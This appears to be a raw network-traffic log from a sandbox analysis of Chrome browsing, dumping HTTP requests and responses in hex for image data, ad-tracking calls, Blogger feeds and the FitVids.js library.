2d 2d 2d 2b 2d 2d 37 2d 2d 2d 2d 2d 35 30 2d 2d 2b 2d 2d 2b 37 2b 2d 2b 2d 2b 2d 2e 2b 2d 2b 2b 2d Data Ascii: JFIFlExifII*12i:Google0220( %!1!%)+... 383-7(-.+2"%5--0--7+---+--7-----50--+--+7+-+-+-.+-++-
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 45 fd dc 80 cb 27 c6 94 97 37 f0 cc 07 92 9e e9 06 af bd 88 e5 bb c1 af 11 26 55 66 f8 20 9f 30 bd 33 ee ce 01 39 84 95 d5 5a 49 54 3b b9 00 b1 2f d2 e2 78 00 0d ad 4e 5b 50 da 19 7e 4d fe a9 a4 fb b7 ef 4c 3f c8 c5 f5 05 16 37 69 ce 3b 60 97 6a 40 90 cb 04 b1 a8 56 69 44 6f 94 58 32 b8 3c 40 e3 62 05 3e 53 2e f3 9d 30 df de a1 f5 9a 7a a1 7d f4 ac f7 bc 65 04 10 45 c1 d0 83 c0 8a 69 db 98 28 97 0f 2b 08 d0 10 8c 41 0a a0 8d 3b 6d 4e f4 d9 bc c6 d8 49 fe 49 fe a9 aa 9a 33 3d 38 8f c6 1b 30 fb 36 02 8a 4c 31 9b a8 fc c5 ec f0 a5 f5 a7 07 f9 34 f8 ab ea 15 ba 8c da 66 67 7c 8a 65 dd 03 f8 bf fc d9 bf 7a f4 f5 4c 5b 96 7f 15 1f 29 37 ef 9e 8d 47 57 3d f1 ea c7 7e 7d e6 ff 00 1e 0f df c7 4f f5 1f df b3 f8 93 fc 78 3f 7f 15 48 2a 73 49 f7 23 be 7d 05 14 51 55 Data Ascii: E'7&Uf 039ZIT;/xN[P~ML?7i;`j@ViDoX2<@b>S.0z}eEi(+A;mNII3=806L14fg\|ezL[)7GW=~}Ox?H*sI#}QU
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 15 e6 be 63 bd 85 f8 d8 5f c7 ae 8a ca 8a 02 8a 29 3e 3f 18 90 c6 f2 c8 72 a2 29 66 3d c2 83 56 d5 8c 14 2c 74 2b c3 cb a5 aa 9d e5 07 69 c2 ca a8 c6 62 eb aa ad 9a d7 b1 1a 5b 4b 01 4f bb 3f 7b db 6b 2e 24 45 9a 25 85 95 78 df a3 27 45 1c 9d 3a 77 cd d1 d6 d9 46 b5 00 df fd bb cf ca f8 68 9a f0 23 b6 66 ca aa 59 b4 19 43 2f ba 40 41 d7 af d1 40 dd b1 37 b7 4c 64 05 46 4c 4c 2c 01 1c 44 8a d9 d7 29 f8 26 e4 77 f4 7b 2b a5 f6 96 09 67 82 48 5b dc c9 1b 21 f0 65 22 fe 9a e4 98 70 a0 1b a8 b1 ed a9 c6 e7 f2 a1 89 c1 95 8a 63 cf 42 34 ca de e9 47 ea bf 57 81 b8 f0 a9 86 a2 f3 11 11 d9 bd 75 ee 2e 35 a5 c1 42 5f f2 88 0c 52 03 c4 3c 44 c6 d7 ef 39 6f e5 a7 ea 85 ee 4e d1 8d b1 58 a4 88 de 2c 40 4c 64 5d be d9 ed 73 5c 75 11 22 6b de 6a 61 89 98 22 33 b6 8a aa Data Ascii: c_)>?r)f=V,t+ib[KO?{k.$E%x'E:wFh#fYC/@A@7LdFLL,D)&w{+gH[!e"pcB4GWu.5B_R<D9oNX,@Ld]s\u"kja"3
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 93 64 93 da df ba e6 ea 4f 81 fa d4 d9 b1 a0 ba 66 e0 3a bc be bf f3 a3 18 2e 74 36 3d b6 e0 7a 8d bb 8d 8f 92 82 f1 a2 90 6c 2c 61 97 0f 14 87 8b 20 bf 88 d0 fa 45 14 0b ea a5 fc 20 01 e6 f0 85 7d d6 69 40 1d c4 25 db c0 58 79 ea da aa 7f 97 a9 ba 58 55 fd 59 3d 25 7f a5 05 41 22 d8 5a 9b 31 7c 69 ce 66 a6 dc 4f 1a 21 32 35 98 1e fa 5f 89 6b d8 d2 0b 6b 4f f8 7c 0a ca c5 59 9b a2 17 85 85 ef 7e d0 7b 29 2f 5d 2d 2b 6a de 29 5e 32 ba 3f 07 d4 fc 4e 66 ed 98 0f 32 03 fc d5 16 e5 e2 07 5c 74 6c c0 e4 92 21 90 f5 5d 49 0e 3c 45 c1 f9 c2 ac 2e 46 76 70 87 67 0b 5e cf 2c 8c 2f c6 c2 c9 d5 f1 29 8b 96 3d b2 1d 86 07 20 20 04 91 9f f3 95 c9 6b 01 d4 3a 3c 7b 9a a6 5b d3 d9 b5 2f a9 3a 75 8d f1 9f a2 8b 9e bc 8e 6b 46 4a 92 0e b7 e1 63 af 50 e3 7b 56 dc 72 80 4d Data Ascii: dOf:.t6=zl,a E }i@%XyXUY=%A"Z1\|ifO!25_kkO\|Y~{)/]-+j)^2?Nf2\tl!]I<E.Fvpg^,/)= k:<{[/:ukFJcP{VrM
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 59 db db b4 2d b3 b6 76 1c 1f ec b9 d7 f2 02 a9 e4 39 9f e8 d4 2b 7c 36 6b 61 f9 90 c2 c6 48 b3 93 d7 72 75 4b 75 65 16 f1 2c 7c 03 c7 b2 56 69 f0 cb 2f e4 95 70 f1 37 72 2e 51 27 a5 9c f9 69 67 2b 98 32 cf 12 ad d9 c3 ca b6 b1 00 26 5c ce c5 fd ca 85 e6 b3 6b d4 58 fe 69 a9 57 5f b4 fe cf 4e ba 7d b3 36 9f 1f fa ab 24 35 a1 eb 63 b5 2c dd dc 2a 4d 8a 8a 37 17 42 d7 61 f0 95 41 72 be 50 b6 f2 d6 9f 14 f7 b0 76 61 8b 08 26 6d 0c f2 02 a2 df d9 c6 1c 03 f3 99 bc ca 3b 6a dc c4 42 17 76 80 b1 37 55 61 6f d6 c4 89 2f e0 2f 73 dc 2a 17 be 58 b0 ce aa 2d 64 b8 36 e0 08 b0 b0 ee ab 4d b0 9f e8 2e 6f af d8 1e 9e 66 fe ba cf 39 7d 4a db a3 a1 a5 f9 b3 e1 2e 73 db a0 03 98 9d 6c b9 45 8e a4 31 27 5e 00 01 e5 d4 77 90 d4 e6 9f 36 b0 b8 5f 2f d9 4c b2 d5 af 07 2e db Data Ascii: Y-v9+\|6kaHruKue,\|Vi/p7r.Q'ig+2&\kXiW_N}6$5c,M7BaArPva&m;jBv7Uao//sX-d6M.of9}J.slE1'^w6_/L.
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 20 fd 28 91 be da ae f0 91 96 91 54 71 66 00 78 93 61 eb a5 53 6c df d0 b7 6c 43 a8 f7 63 61 c7 26 c7 87 0b 20 e8 4b 86 01 87 58 e7 57 39 3d c4 17 bf 8d 73 e6 d3 c1 34 09 2c 0f ee a3 ce 8d e2 a4 83 ea ae aa c3 44 11 15 07 05 50 07 90 5a b9 cf 94 e1 f8 f6 37 e3 7f e3 43 4b 1b 1f c7 dd 28 66 c8 36 7f 10 47 db f6 54 f7 1b 88 cd b2 70 cb fa 3c 54 eb f4 91 65 fe 7a 82 6c 48 cb ca 15 45 c9 d0 0e d3 52 61 8a 1e c5 31 5f 51 38 90 0e e3 1b 2b 1f d9 5f 38 a9 67 be c5 39 a6 3b 27 3f 45 cb b4 27 c9 b0 63 3d b8 48 17 e9 24 63 d4 6b 9e 36 93 5d aa f2 de d9 b2 ec 2c 18 f8 51 61 fd 10 df ec aa 1f 1b 26 b6 15 b8 7c ed 4f 7a 48 e5 35 d0 9c 80 6c e1 1e cd 32 f5 cd 33 b7 cd 4b 46 07 7e a8 c7 e7 1a e7 89 4e 95 d5 dc 9b 61 39 ad 97 82 4b 5b da 11 88 ef 90 73 87 d2 c6 8c a4 b4 Data Ascii: (TqfxaSllCca& KXW9=s4,DPZ7CK(f6GTp<TezlHERa1_Q8+_8g9;'?E'c=H$ck6],Qa&\|OzH5l23KF~Na9K[s
2024-10-14 22:39:54 UTC	963	IN	Data Raw: 14 a7 81 bd 7b 40 c1 be 7b 9f 86 c7 84 33 c5 9c a5 ec 43 32 30 06 dc 19 48 24 69 c0 e9 50 b6 e4 9f 02 a7 dc 4c 3b b9 c2 3d 36 bf a6 ad aa c5 d0 11 62 28 28 ad e7 d8 7b 1f 00 33 4d 87 79 1c 80 42 06 91 da c4 e5 04 96 70 aa 09 04 79 0d af 55 be 23 19 09 90 bc 18 5e 6d 2c 42 a8 77 76 56 20 e5 6c c4 9b 90 75 1d 47 2f 0a e8 7d ed dc 0c 1e 32 41 24 ca e1 c2 81 99 1f 29 2b a9 01 86 a0 da e7 aa 99 62 e4 8f 67 83 af 3e 7c 64 03 d2 aa 0f a6 82 8b 6c 3a 28 bb f1 ef ee f5 9e ba 9b 72 36 b3 a6 3f 9d 8a 19 19 1a 17 46 7c 87 25 89 46 1d 2e 07 54 1d 75 6f 6c ad cf c1 61 bf 23 87 40 7e 13 5d df e9 b9 2d 6e eb d3 fe ce c3 d9 af d8 3d 74 09 a5 c6 b4 68 65 9d d2 24 5d 59 9c 85 03 ca 6a bf db 7c a0 60 f1 07 24 78 85 0a 97 d5 ce 4c c4 fe 72 df 88 f4 f7 55 8b bc 7b b9 87 c6 a2 Data Ascii: {@{3C20H$iPL;=6b(({3MyBpyU#^m,BwvV luG/}2A$)+bg>\|dl:(r6?F\|%F.Tuola#@~]-n=the$]Yj\|`$xLrU{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49854	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	534	OUT	GET /log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true
2024-10-14 22:39:54 UTC	446	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: application/json; charset=utf-8 Content-Length: 25 Connection: close Access-Control-Allow-Origin: Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-Forwarded-For, If-None-Match Access-Control-Allow-Credentials: true
2024-10-14 22:39:54 UTC	25	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 22 3a 31 30 30 31 7d Data Ascii: {"status":0,"error":1001}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49843	172.240.108.68	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	575	OUT	GET /7e/5b/b2/7e5bb228f30e40fc8217e85bc9552495.js HTTP/1.1 Host: accompanimentrealistic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	574	IN	HTTP/1.1 403 Forbidden Server: nginx/1.21.6 Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: application/javascript Content-Length: 0 Connection: close P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Access-Control-Allow-Origin: * Accept-CH: Device-Stock-UA,Sec-CH-UA,Sec-CH-UA-Full-Version,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-PlatformUser-Agent,User-Agent,X-Device-User-Agent,X-OperaMini-Phone-UA,X-UCBrowser-Device-UA Host: accompanimentrealistic.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49867	188.114.97.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	546	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587001&data&_=1728945587002 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: prefetchAd_8079706=true
2024-10-14 22:39:54 UTC	969	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:55 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hfwUAhanjg%2FC2xGRUSa8NXsERBUGzFbl4KAM1uOI0iC93zSGAic0U1OnZ%2BcH2KMwCuz6DRSnzjT%2BEhvu%2Bc6HolJil2hejrSvEUP%2FCBMlJHqUTRAec80o3x0n7aGTOXWYVyTnL6Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b116d494f4327-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:54 UTC	400	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 37 30 30 31 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945587001({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:54 UTC	1369	IN	Data Raw: 72 65 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 85 d8 b2 20 Data Ascii: read/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:54 UTC	737	IN	Data Raw: 2f 66 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 Data Ascii: /feeds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%
2024-10-14 22:39:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49862	185.199.111.133	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	578	OUT	GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:54 UTC	893	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3350 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "59eaf88cb2cc8ab6a41089faa3b6d9a456ee3bdf4c12586c59286abb51497f42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7636:144002:27FF89:2B8F54:670D9DBA Accept-Ranges: bytes Date: Mon, 14 Oct 2024 22:39:54 GMT Via: 1.1 varnish X-Served-By: cache-lga21983-LGA X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1728945594.444491,VS0,VE58 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: f4430644ae5503667d98d0db69b186fe35363e2f Expires: Mon, 14 Oct 2024 22:44:54 GMT Source-Age: 0
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 2f 2a 6a 73 68 69 6e 74 20 62 72 6f 77 73 65 72 3a 74 72 75 65 20 2a 2f 0a 2f 2a 21 0a 2a 20 46 69 74 56 69 64 73 20 31 2e 31 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2c 20 43 68 72 69 73 20 43 6f 79 69 65 72 20 2d 20 68 74 74 70 3a 2f 2f 63 73 73 2d 74 72 69 63 6b 73 2e 63 6f 6d 20 2b 20 44 61 76 65 20 52 75 70 65 72 74 20 2d 20 68 74 74 70 3a 2f 2f 64 61 76 65 72 75 70 65 72 74 2e 63 6f 6d 0a 2a 20 43 72 65 64 69 74 20 74 6f 20 54 68 69 65 72 72 79 20 4b 6f 62 6c 65 6e 74 7a 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 69 73 74 61 70 61 72 74 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 63 72 65 61 74 69 6e 67 2d 69 6e 74 72 69 6e 73 69 63 2d 72 61 74 69 6f 73 2d 66 6f 72 2d 76 69 64 65 6f 2f 0a 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 Data Ascii: /jshint browser:true //! FitVids 1.1** Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/* Released und
2024-10-14 22:39:54 UTC	1378	IN	Data Raw: 73 74 61 72 74 65 72 2e 63 6f 6d 22 5d 5b 73 72 63 2a 3d 22 76 69 64 65 6f 2e 68 74 6d 6c 22 5d 27 2c 0a 20 20 20 20 20 20 20 20 27 6f 62 6a 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 27 65 6d 62 65 64 27 0a 20 20 20 20 20 20 5d 3b 0a 0a 20 20 20 20 20 20 69 66 20 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 6f 72 73 2e 70 75 73 68 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 76 61 72 20 69 67 6e 6f 72 65 4c 69 73 74 20 3d 20 27 2e 66 69 74 76 69 64 73 69 67 6e 6f 72 65 27 3b 0a 0a 20 20 20 20 20 20 69 66 28 73 65 74 74 69 6e 67 73 2e 69 67 6e 6f 72 65 29 20 7b 0a 20 20 20 20 20 20 20 20 69 67 6e Data Ascii: starter.com"][src*="video.html"]', 'object', 'embed' ]; if (settings.customSelector) { selectors.push(settings.customSelector); } var ignoreList = '.fitvidsignore'; if(settings.ignore) { ign
2024-10-14 22:39:54 UTC	594	IN	Data Raw: 20 20 20 20 20 20 20 61 73 70 65 63 74 52 61 74 69 6f 20 3d 20 68 65 69 67 68 74 20 2f 20 77 69 64 74 68 3b 0a 20 20 20 20 20 20 20 20 69 66 28 21 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 29 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 69 64 65 6f 4e 61 6d 65 20 3d 20 27 66 69 74 76 69 64 27 20 2b 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 2c 20 76 69 64 65 6f 4e 61 6d 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 2b 2b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 77 72 61 70 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 75 69 64 2d 77 69 64 74 68 Data Ascii: aspectRatio = height / width; if(!$this.attr('name')){ var videoName = 'fitvid' + $.fn.fitVids._count; $this.attr('name', videoName); $.fn.fitVids._count++; } $this.wrap('<div class="fluid-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49869	188.114.97.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	534	OUT	GET /feeds/posts/default/-/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587003&data&_=1728945587004 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: prefetchAd_8079706=true
2024-10-14 22:39:54 UTC	975	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Expires: Mon, 14 Oct 2024 22:39:55 GMT Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT ETag: W/"1eddf695b3d3946339fef7b918c9921600e6fed4897474579374d31260df87a1" Vary: Accept-Encoding Age: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BbhQNKq3xOEjwqKxVZJ1uKdPAMcrPQaXhewnB4Fib7tsDXF91yrKU5F5GeNHf16jOv6NG9YuO8WdkWUNOJKiHo3cq4Ix%2Bj%2B6t3m2ioRdnx146UX2mj0i8JgP9p%2FJRCDYxd0ikYo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b116d4a6e43ed-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:54 UTC	394	IN	Data Raw: 39 61 62 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 37 30 30 33 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9ab// API callbackjQuery11100049902415236919184_1728945587003({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
